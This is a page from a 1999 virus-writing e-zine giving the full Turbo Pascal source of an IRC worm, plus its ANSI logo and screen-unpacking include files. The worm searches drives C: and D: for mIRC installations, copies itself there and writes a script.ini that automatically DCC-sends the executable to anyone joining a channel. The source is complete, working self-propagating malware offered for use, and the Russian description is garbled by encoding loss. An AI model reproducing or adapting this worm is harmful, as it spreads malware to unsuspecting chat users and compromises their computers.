- [Duke's Virus Labs #5] - [Page 23] -

IRC-Worm.WBR
(c) by Duke/SMF

     : IRC-Worm.WBR
         : Duke/SMF
 ண.   : Turbo Pascal 7.0
 ᮧ : 28.02.99

   । ⥢ :) . 뢮  ࠭ ANSI-㭮,  ⥬
६    ᪠ C  D ⠭ ணࠬ mIRC. ᫨
ணࠬ㫨 ,  ᮪ ᮧ 䠩 script.ini,   㤥
⢥  쭥襥 ࠧ  IRC.   - થ !  ;))

P.S.   ᮧ  諮 ᯮ짮 ணࠬ
TheDraw  ਪ᪨ ૮. ᥬ ᯠᨡ ;))

===== begin irc-worm.pas =====
{$M 2000, 0, 1000}
program IRC_Worm__WBR;
uses dos;
{$I logo.inc}                   {ANSI-㭮}
{$I uncrunch.inc}               {楤 뢮 㭪}
{--------------------------------}
procedure MakeWorm(Dir:string); {ᮧ 䠩 script.ini}
var f:text;
    ds:dirstr;
    ns:namestr;
    es:extstr;
begin
fsplit(paramstr(0),ds,ns,es);
assign(f,Dir+'script.ini');rewrite(f);
writeln(f,'[script]');
writeln(f,'n0=on 1:JOIN:#: if ( $me != $nick ) { /dcc send $nick '+Dir+ns+es+' }');
writeln(f,'n1=// IRC-Worm.WBR (c) by Duke/SMF');
close(f);
exec(GetEnv('COMSPEC'),'/c copy '+paramstr(0)+' '+Dir+ns+es+' >nul');
end;
{--------------------------------}
procedure Search(Dir:string);   {᪠஢ ᪠   MIRC}
var N,h:searchrec;
begin
if Dir[length(Dir)]<>'\'then Dir:=Dir+'\';
findfirst(Dir+'mirc*.*',$21,h);
if doserror=0 then MakeWorm(Dir);
{᪠ 㣨 () ४ਨ:}
findfirst(Dir+'*.*',$3F,N);
while doserror=0 do
  begin
  with N do if (Attr and 16<>0) and (Name[1]<>'.') then Search(Dir+Name);
  findnext(N);
  end;
end;
{--------------------------------}
begin
UnCrunch(IMAGEDATA,ScreenAddr[(1*2)+(1*160)-162],IMAGEDATA_LENGTH);
Search('c:');
Search('d:');
end.
===== end   irc-worm.pas =====

===== begin logo.inc =====
{ TheDraw Pascal Crunched Screen Image.  Date: 02/23/99 }
const
  IMAGEDATA_WIDTH=80;
  IMAGEDATA_DEPTH=25;
  IMAGEDATA_LENGTH=1919;
  IMAGEDATA : array [1..1919] of Char = (
    #14,#16,#24,' ', #1,'','','',#26, #9,'','','','',' ',#15,'H',
    'a','v','e',' ','a',' ','n','i','c','e',' ','I','R','C',' ','f','o',
    'r','e','v','e','r',' ','!','!','!',' ','W','i','t','h',' ','b','e',
    's','t',' ','r','e','g','a','r','d','s',',',' ','D','u','k','e','/',
    'S','M','F',#24,' ', #1,'','','','',#15,#17,'*',' ',' ','*',' ',
    ' ','*',' ',' ','*', #1,#16,'','','','','','', #9,#17,'',#25,
    #25,'','',#24,#16,' ', #1,'','','','','',#15,#17,'*',' ',' ',
    '*',' ',' ','*',' ', #1,#16,'','','', #9,#17,'',#25, #5, #7,'',
    #15,#23,#26, #6,'',' ',' ','','',' ',' ','','','',' ','','',
    '', #7,#17,'',#25, #4, #9,'', #4,#16,'','','','','',#24,' ',
     #1,'','','','',#15,#17,'*',' ',' ','*',' ',' ','*',' ',' ','*',
     #9,'','', #1,#16,'','','',#17,' ', #7,'',#15,#23,'','','',
    ' ', #7,#17,'',#15,#23,#26, #3,'','',' ', #7,#17,'',#15,#23,'',
    '','',#26, #3,'', #7,#17,'',#15,#23,'','','',' ',' ',#17,'',
    '',#25, #3, #9,'','', #4,#16,'','','','','',#26, #8,'','',
    '','',#24,' ', #1,'','','','','',#15,#17,'*',' ',' ','*',' ',
    ' ','*', #9,'',#25, #4,#23,' ',' ',#15,#17,'','',#23,'','', #7,
    #17,'','',#15,#23,#26, #4,'','','','','','',#26, #4,'', #7,
    #17,#26, #3,'',#23,' ',' ',#15,'',#17,'','',#25, #3, #9,'', #4,
    #16,'','','',#26, #9,'','','','',#24,' ', #1,'','','','',
    #15,#17,'*',' ',' ','*',' ',' ','*', #9,'',#25, #4,#23,' ',' ',#15,
    #17,'','','',#23,'', #7,#17,'',#15,#23,'','',#26, #9,'','',
    #26, #5,'', #7,#17,'','',#15,#23,'', #7,#17,'',#23,' ',' ',#17,
    '',#15,'',#25, #4, #9,'',#15,#16,'',#26, #8,'','','','',#24,
    ' ', #1,'','','','','',#15,#17,'*',' ',' ','*',' ', #9,'',#25,
     #4,#23,#25, #2,#15,'','','','','',#26, #8,'','','','','',
    '','','','','',#19,'', #7,'','','',#15,#23,'','',' ', #7,
    #17,'','',#15,'',#25, #3, #9,'',#15,#16,#26, #8,'','','','',
    #24,' ', #1,'','','','',#15,#17,'*',' ',' ','*',' ', #9,'','',
    #25, #3,#23,#25, #2,#15,'','','','','',#19,'','',#23,#26,#15,
    '',#19,'',#23,'',#19,'',#23,'','',#19,'',#23,'', #8,'',#15,
    #17,#26, #3,'',#25, #2, #9,'','', #4,#16,#26, #8,'','','','',
    #24,' ', #1,'','','','','',#15,#17,'*',' ',' ','*', #9,'',#25,
     #3,#23,' ',' ',#15,'',' ', #8,'','','','',#15,'','',#19,'',
    #23,#26,#14,'',#19,'',#23,#26, #4,'', #8,'','','','', #7,#17,
    '',#15,'','','',#25, #2, #9,'', #4,#16,#26, #8,'','','','',
    #24,' ', #1,'','','','',#15,#17,'*',' ',' ','*', #9,'','',#25,
     #2,#23,#25, #2,#15,'','', #8,'','','',#14,'', #8,'','','',
    #15,#26,#16,'', #8,'','','','',#14,'', #8,'','',#15,'','',
     #7,#17,'',#15,'','',#25, #3, #9,'','',#15,#16,#26, #6,'','',
    '','',#24,' ','','','',#26, #3,'', #9,#17,'',#25, #3,#23,#25,
     #2,#15,#17,'',#23,'','', #8,'','','',#14,'','',#16,'',#23,
    '', #8,'','',#15,'','','','','',#14,#22,#26, #4,'',#15,#23,
    '','','','', #8,'','',#14,'',#16,'',#23,'','', #8,'','',
    #15,'','','', #7,#17,'',#15,'','',#25, #3, #9,'','',#15,#16,
    #26, #5,'','','','',#24,' ','','','','','','', #9,#17,'',
    '',#25, #2, #7,'',#15,#23,'','', #7,#17,'','',#15,#23,'','',
    '', #8,'','','',#14,'','','', #8,'','',' ',#15,'','',#14,
    '',#22,'','','','','','','',#23,'',#15,'', #8,'','',' ',
    #15,'',#14,'','', #8,'','',#15,'','','','', #7,#17,'','',
    #15,'','',#25, #3, #9,'', #4,#16,#26, #6,'','','','',#24,' ',
    '','','','','','',#17,#25, #3, #7,'','','',#15,#23,'','',
    '','','','',' ','','',#26, #4,'','','',#14,#22,'',#23,'',
     #0,#22,'','','0','',' ','0',' ',#14,#23,'',#22,'',#15,#23,'',
    '','','','','','',#25, #3,'','', #7,#17,'','',#15,'','',
    '',#25, #2, #9,'', #4,#16,#26, #5,'','','','',#24,' ','','',
    '','','', #1,'',#17,#25, #2, #7,'','',#15,#23,#26, #4,'','',
     #7,#17,'','','',#15,#23,'','','',#25, #4, #0,#22,'','','',
    '\','', #8,'', #0,'',' ','/','/','','','', #7,#17,'','',#15,
    #23,'',#26, #4,'',#25, #2,#17,'',#23,'',#17,'', #7,'',#15,'',
    '', #7,'',#25, #2, #9,'',#15,#16,#26, #3,'','','','',#24,' ',
    '','','','','', #1,'',#17,' ',' ', #7,'',#15,#23,#26, #5,'',
    '','', #7,#17,'','','',#15,#23,#26, #5,'',' ', #8,#16,'','',
    #22,'','','','', #0,'','',' ','/','/',' ', #7,'', #8,#23,'',
    #15,'','',#26, #6,'','', #7,#17,'',#15,#23,'','','', #7,#17,
    '','',#15,'','',#25, #2, #9,'',#15,#16,'','','','','','',
    #24,' ','','','','', #1,'','', #7,#17,'','',#15,#23,'',#26,
     #5,'','','', #7,#17,'','',#15,#23,#26, #4,'',' ','', #7,#17,
    '', #8,#16,'','','',#22,'','', #0,'','','',' ','/','/', #7,
    '','','',#15,#23,'','',#26, #6,'','', #7,#17,'',#15,#23,'',
    '','','','', #7,#17,'',#15,'','',#25, #2, #9,'', #4,#16,'',
    '','','','','',#24,' ','','',#17,#25, #2, #7,'',#15,#23,'',
    #26, #5,'', #7,#17,'',#15,#23,'','','', #7,#17,'',#15,#23,#26,
     #3,'', #7,#17,'','','',#23,' ',#15,'','','', #8,'',#16,'',
    '', #0,#22,'','','',' ','/','/', #7,'','', #8,#23,'',#15,'',
    '','','','', #7,#17,#26, #4,'',#15,#23,'','',#26, #3,'', #7,
    #17,'','',#15,'', #7,'',#25, #2, #9,'', #4,#16,'','','','',
    '','',#24,' ','',#17,#25, #2, #7,'',#15,#23,'',#26, #4,'','',
     #0,#22,'','',#15,#23,'', #4,#16,'', #0,#22,'',#15,#23,'','',
     #4,#16,'','', #0,#22,'','', #7,#17,'','',#15,#23,'',' ','',
    '', #8,'',#16,'','', #0,#22,'','','',' ',' ', #7,'','','',
    #15,#23,'', #8,'',#15,'','', #0,#22,'',#15,#16,'',#23,'', #7,
    #17,'','', #0,#22,'', #7,#17,'',#15,#23,'','', #0,#22,'','',
    #15,#23,'','', #7,#17,'', #0,#22,'', #7,#17,'',#15,'', #7,'',
    #25, #2, #9,'',#15,#16,'','','','',#24,' ',#17,#25, #2, #7,'',
    #15,#23,'', #0,#22,'',#15,#23,'','', #0,#22,'',#15,#23,'',#16,
    ' ', #0,#22,'',#15,#23,'', #6,#16,'',' ',#15,#23,'', #0,#22,'',
     #4,#16,'','','', #0,#22,'', #7,#17,'', #4,#16,'',#15,#23,'',
     #7,#17,'','','',#15,#23,'','', #8,'','',#16,'','',#22,'',
     #0,'',' ','', #7,'', #8,#16,'','',#23,'', #0,#22,'', #4,#16,
    '','','', #7,#17,'', #0,#22,'', #4,#16,'', #7,#17,'',#15,#23,
    '','', #4,#16,'', #0,#22,'',#15,#23,'','', #4,#16,'',#15,'',
    '','', #0,#22,'',#15,#17,'',#16,'','',#17,#25, #2,#16,'','',
    '','',#24,#17,#25, #2, #7,'','', #6,#16,'', #0,#22,'','',#15,
    #23,'', #0,#22,'', #6,#16,'',#15,#23,'','','',#16,#25, #6, #0,
    #22,'', #7,#17,'',#16,' ', #0,#22,'',#15,#23,'',#16,' ',' ', #7,
    #17,'','',#15,#23,'', #8,'','',#16,'','', #0,#22,'','','',
    #16,' ',#22,'', #8,#23,'','','', #4,#16,#26, #5,'', #0,#22,'',
    '',#15,#23,'','', #4,#16,'','', #0,#22,'',#15,#23,'', #0,#22,
    '', #4,#16,'','','', #0,#22,'','', #7,#17,'',#25, #3, #4,#16,
    '','','','',#24,#17,' ',' ', #7,'','',#16,#25, #2, #0,#22,'',
    '','',#16,' ',' ',#15,#23,'',#16,#25, #5, #0,#22,'','', #7,#17,
    '',#16,' ', #0,#22,'',#15,#23,'',#16,#25, #2, #0,#22,'', #7,#17,
    '','',#16,' ', #0,#22,'', #8,#23,'','',#16,#25,#14, #0,#22,'',
    #15,#23,'',#16,#25, #4, #4,'','','','','','', #0,#22,'', #7,
    #17,'',#25, #2, #4,#16,'','','',#24,#17,' ', #7,'','', #0,#22,
    '', #8,#16,'F','l','a','g',' ','b','y',' ','S','h','e','r','r','y',
    ' ','P','z',#25, #7, #0,#22,'', #7,#17,'',#16,#25,#11, #0,#22,'',
    #16,#25, #8, #8,'S','p','i','r','i','t',' ','b','y',' ',' ', #0,#22,
    '', #7,#17,'',' ',' ',#24,'','', #0,#22,'',#16,' ',' ',#22,'',
     #8,#16,'S','c','r','e','e','n',' ','b','y',' ','M','o','s','e','s',
    #25,#21, #0,#22,'',#23,' ',#16,#25, #7, #8,'a','l','l',' ','A','m',
    'e','r','i','c','a','n','s', #0,#22,'', #7,#17,'',#24,#24);

type ScreenType = array [0..3999] of Byte;
var ScreenAddr : ScreenType absolute $B800:$0000;
===== end   logo.inc =====

===== begin uncrunch.inc =====
procedure UNCRUNCH (var Addr1,Addr2; BlkLen:Integer);
begin
  inline (
    $1E/               {       PUSH    DS             ;Save data segment.}
    $C5/$B6/ADDR1/     {       LDS     SI,[BP+Addr1]  ;Source Address}
    $C4/$BE/ADDR2/     {       LES     DI,[BP+Addr2]  ;Destination Addr}
    $8B/$8E/BLKLEN/    {       MOV     CX,[BP+BlkLen] ;Length of block}
    $E3/$5B/           {       JCXZ    Done}
    $8B/$D7/           {       MOV     DX,DI          ;Save X coordinate for later.}
    $33/$C0/           {       XOR     AX,AX          ;Set Current attributes.}
    $FC/               {       CLD}
    $AC/               {LOOPA: LODSB                  ;Get next character.}
    $3C/$20/           {       CMP     AL,32          ;If a control character, jump.}
    $72/$05/           {       JC      ForeGround}
    $AB/               {       STOSW                  ;Save letter on screen.}
    $E2/$F8/           {Next:  LOOP    LOOPA}
    $EB/$4C/           {       JMP     Short Done}
                       {ForeGround:}
    $3C/$10/           {       CMP     AL,16          ;If less than 16, then change the}
    $73/$07/           {       JNC     BackGround     ;foreground color.  Otherwise jump.}
    $80/$E4/$F0/       {       AND     AH,0F0H        ;Strip off old foreground.}
    $0A/$E0/           {       OR      AH,AL}
    $EB/$F1/           {       JMP     Next}
                       {BackGround:}
    $3C/$18/           {       CMP     AL,24          ;If less than 24, then change the}
    $74/$13/           {       JZ      NextLine       ;background color.  If exactly 24,}
    $73/$19/           {       JNC     FlashBitToggle ;then jump down to next line.}
    $2C/$10/           {       SUB     AL,16          ;Otherwise jump to multiple output}
    $02/$C0/           {       ADD     AL,AL          ;routines.}
    $02/$C0/           {       ADD     AL,AL}
    $02/$C0/           {       ADD     AL,AL}
    $02/$C0/           {       ADD     AL,AL}
    $80/$E4/$8F/       {       AND     AH,8FH         ;Strip off old background.}
    $0A/$E0/           {       OR      AH,AL}
    $EB/$DA/           {       JMP     Next}
                       {NextLine:}
    $81/$C2/$A0/$00/   {       ADD     DX,160         ;If equal to 24,}
    $8B/$FA/           {       MOV     DI,DX          ;then jump down to}
    $EB/$D2/           {       JMP     Next           ;the next line.}
                       {FlashBitToggle:}
    $3C/$1B/           {       CMP     AL,27          ;Does user want to toggle the blink}
    $72/$07/           {       JC      MultiOutput    ;attribute?}
    $75/$CC/           {       JNZ     Next}
    $80/$F4/$80/       {       XOR     AH,128         ;Done.}
    $EB/$C7/           {       JMP     Next}
                       {MultiOutput:}
    $3C/$19/           {       CMP     AL,25          ;Set Z flag if multi-space output.}
    $8B/$D9/           {       MOV     BX,CX          ;Save main counter.}
    $AC/               {       LODSB                  ;Get count of number of times}
    $8A/$C8/           {       MOV     CL,AL          ;to display character.}
    $B0/$20/           {       MOV     AL,32}
    $74/$02/           {       JZ      StartOutput    ;Jump here if displaying spaces.}
    $AC/               {       LODSB                  ;Otherwise get character to use.}
    $4B/               {       DEC     BX             ;Adjust main counter.}
                       {StartOutput:}
    $32/$ED/           {       XOR     CH,CH}
    $41/               {       INC     CX}
    $F3/$AB/           {       REP STOSW}
    $8B/$CB/           {       MOV     CX,BX}
    $49/               {       DEC     CX             ;Adjust main counter.}
    $E0/$AA/           {       LOOPNZ  LOOPA          ;Loop if anything else to do...}
    $1F);              {Done:  POP     DS             ;Restore data segment.}
end; {UNCRUNCH}
===== end   uncrunch.inc =====
